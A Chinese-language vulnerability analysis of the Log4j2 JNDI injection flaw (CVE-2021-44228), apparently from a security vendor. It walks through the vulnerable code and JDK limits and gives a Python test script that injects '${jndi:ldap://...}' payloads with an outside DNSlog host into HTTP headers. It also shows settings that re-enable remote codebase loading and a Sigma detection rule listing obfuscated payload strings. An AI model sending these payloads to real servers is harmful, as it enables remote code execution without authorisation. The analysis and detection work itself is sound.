前言
原理:
该漏洞的触发点在于,利用
org.apache.logging.log4j.Logger进行log或error等记录操作时,未对日志message信息进行有效检查,在format方法中会判断传入的参数中是否存在 ”${“ 参数,当存在时,就会将传入的以“${“开头,以“}”结尾的内容进行提取,然后将其value值传入lookup方法,而log4j的lookup方法可以调用jdni、rmi进行代码执行,最终造成反序列号漏洞被利用。
漏洞影响范围:
Apache log4j2 2.0 – 2.14.1 版本均受影响。
安全版本:
Apache log4j-2.16.0-rc1
环境搭建
下载log4j2_rce ,idea直接打开运行即可,如果漏洞无法利用,可以更换jdk版本,或者配置trustURLCodebase的参数为ture。
代码分析
首先在logger.error设置断点调试;
继续跟进,位置:
C:UsersHOME.m2repositoryorgapachelogginglog4jlog4j-core2.8.1log4j-core-2.8.1-sources.jar!orgapachelogginglog4jcoreconfigLoggerConfig.java
对输入内容 event,进行encode加密;
encode方法对输入内容序列化。
event为
Logger=com.kk.log4j2_rce.controller.UserController Level=ERROR Message=${jndi:ldap://127.0.0.1:1389/wl3ljc}。
controls[0]为:
org.apache.logging.log4j.core.config.AppenderControl@204bf81b[appender=DefaultConsole-2, appenderName=DefaultConsole-2, level=null, intLevel=2147483647, recursive=java.lang.ThreadLocal@79f6b95f, filter=null],
主要完成时间的格式化。调用方法:
org.apache.logging.log4j.core.pattern.DatePatternConverter$CachedTime@2b0e33dc
具体位置:
C:UsersHOME.m2repositoryorgapachelogginglog4jlog4j-core2.8.1log4j-core-2.8.1-sources.jar!orgapachelogginglog4jcorelayoutPatternLayout.java
event 为
Logger=com.kk.log4j2_rce.controller.UserController Level=ERROR Message=${jndi:ldap://127.0.0.1:1389/wl3ljc};
当 i=8时,formatters[8]等于
org.apache.logging.log4j.core.pattern.PatternFormatter@4c0f3151[converter=org.apache.logging.log4j.core.pattern.MessagePatternConverter@bbe10d7, field=org.apache.logging.log4j.core.pattern.FormattingInfo@28ad1cd6[leftAlign=false, maxLength=2147483647, minLength=0, leftTruncate=true]];
主要对输入内容Message字段进行格式化;
workingBuilder执行结果为
11:53:33.848 [http-nio-8080-exec-1] ERROR com.kk.log4j2_rce.controller.UserController - ${jndi:ldap://127.0.0.1:1389/wl3ljc}
位置:
C:UsersHOME.m2repositoryorgapachelogginglog4jlog4j-core2.8.1log4j-core-2.8.1-sources.jar!orgapachelogginglog4jcorelayoutPatternLayout.java
代码:
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
config.getStrSubstitutor().replace(event, value)代码执行已经完成,具体如下:
代码右键,选择:Evaluate Expression,参考链接:
智能步入,一行代码里有好几个方法,怎么只选择某一个方法进入。按 Force Step Into (Alt + Shift + F7)进入到方法内部,具体如图:
继续深入,调用resolver.lookup方法,
而final Object value = jndiManager.lookup(jndiName);调用jndi的lookup方法,从而导致反序列化漏洞的产生。
用了高版本JDK,漏洞就免疫了吗?
答案:
可以,首先,该漏洞能否利用与JDK版本有关,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。但openjdk version “11” ,包括之前版本,漏洞没有任何限制可以被利用。
java 版本或log4j 版本问题,导致楼无法利用的解决办法:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
修改com.sun.jndi.ldap.object.trustURLCodebase选项,默认为true,漏洞利用成功。
高版本JDK,漏洞如何利用呢?
KINGX提到了如下两种绕过方式:
找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。
测试用例
测试脚本:
# -*- coding: UTF-8 -*-
import requests
import time
def header_scan(url, payload):
headers = {
"User-Agent": "%s Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" % payload,
"Connection": "close",
"Content-Length": "73",
"Accept": "text/html%s" % payload,
"Referer": "%s" % payload,
"Content-Type": "application/json; charset=UTF-8",
"Accept-Encodin": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9%s" % payload,
"X-Forwarded-For": "%s" % payload,
"X-Api-Version": "%s" % payload,
}
Cookie = {"JSESSIONID": payload}
try:
req = requests.get(url, headers=headers, cookies=Cookie, timeout=10)
except Exception as e:
print(e)
if __name__ == '__main__':
url = "http://192.168.80.155:8080/hello" # 输入url地址
payload = "${jndi:ldap://yx3r0p.ceye.io}" # 输入dnslog地址
header_scan(url, payload) # 只验证头信息
检测规则
Sigma检测规则如下:
title: Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞
description: 检测Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞
status: test
date: 2022/04/29
author: bigsea
logsource:
category: webserver
detection:
keywords:
- '${jndi:ldap:/'
- '${jndi:rmi:/'
- '${jndi:ldaps:/'
- '${jndi:dns:/'
- '/$%7bjndi:'
- '%24%7bjndi:'
- '$%7Bjndi:'
- '%2524%257Bjndi'
- '%2F%252524%25257Bjndi%3A'
- '${jndi:${lower:'
- '${::-j}${'
- '${jndi:nis'
- '${jndi:nds'
- '${jndi:corba'
- '${jndi:iiop'
- 'Reference Class Name: foo'
- '${${env:BARFOO:-j}'
- '${::-l}${::-d}${::-a}${::-p}'
- '${base64:JHtqbmRp'
- '${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}$'
- '${${lower:j}ndi:'
- '${${upper:j}ndi:'
- '${${::-j}${::-n}${::-d}${::-i}:'
filter:
- 'w.nessus.org/nessus'
- '/nessus}'
condition: keywords and not filter
falsepositives:
- Vulnerability scanning
level: high
缓解措施
1. 升级最新版本;在业务许可的情况下建议升级log4j-2.16.0-rc1以上版本;
2. 升级已知受影响的应用及组件,如spring-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid;
缓解措施:
(1)jvm 参数-Dlog4j2.formatMsgNoLookups=true
(2)log4j2.formatMsgNoLookups=True
(3)系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
(4)限制不必要的业务访问外网。
(5)采用 rasp 对lookup的调用进行阻断。
(6)采用 waf 对请求流量中的${jndi进行拦截。
参考链接
%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
限 时 特 惠: 本站每日持续更新海量各大内部创业教程,一年会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: lzxmw777